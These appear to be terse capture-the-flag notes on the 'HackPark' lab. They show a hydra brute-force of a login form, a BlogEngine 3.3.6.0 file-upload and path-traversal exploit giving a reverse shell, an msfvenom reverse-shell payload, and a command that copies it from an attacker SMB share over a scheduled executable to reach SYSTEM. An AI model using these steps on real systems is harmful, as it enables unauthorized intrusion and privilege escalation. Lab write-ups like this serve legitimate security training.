lets brute force this form with hydra

hydra -l [username] -P [passlist] $IP -V http-form-post "[directory]:[form_parameters]:[grep]"

form_parameters catch it with burpsuite

WE IN

ABOUT tab we can find the version of BlogEngine 3.3.6.0

Initial Access

search exploit for this blog engine v3.3.6.0

Attack:

First, we set the TcpClient address and port within the method below to 
our attack host, who has a reverse tcp listener waiting for a connection.

Next, we upload this file through the file manager.  In the current (3.3.6)
version of BlogEngine, this is done by editing a post and clicking on the 
icon that looks like an open file in the toolbar.  Note that this file must
be uploaded as PostView.ascx. Once uploaded, the file will be in the
/App_Data/files directory off of the document root. The admin page that
allows upload is:

http://10.10.10.10/admin/app/editor/editpost.cshtml

Finally, the vulnerability is triggered by accessing the base URL for the 
blog with a theme override specified like so:

http://10.10.10.10/?theme=../../App_Data/files

Let’s follow the instructions:

  1. Start by modifying the script so that we report the correct value for IP and port.

  2. Rename your script as PostView.ascx

  3. Go to posts (http://10.10.79.198/admin/#/content/posts) and click on “Welcome to HackPark” to edit this post

  4. From the edit bar on top of the post, click on the “File Manager” icon

  5. Click on the “+ UPLOAD” button and upload the PostView.ascx script

  6. Close the file manager and click on “Save”

  7. Now, open your listener (rlwrap nc -nlvp 1234)

  8. Go to http://10.10.79.198/?theme=../../App_Data/files

now we have reverse shell

$ rlwrap nc -nlvp 1234

Message.exe running every 30 second lets overwrite it with reverse shell

generate reverse shell with metasploit

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=$PORT -f exe -o rev.exe

setup smb server on attacker box

on target box

copy \\[attacker_ip]\[share_name]\rev.exe "C:\Program Files (x86)\SystemScheduler\Message.exe"

setup listener

after 30 seconds we have system shell
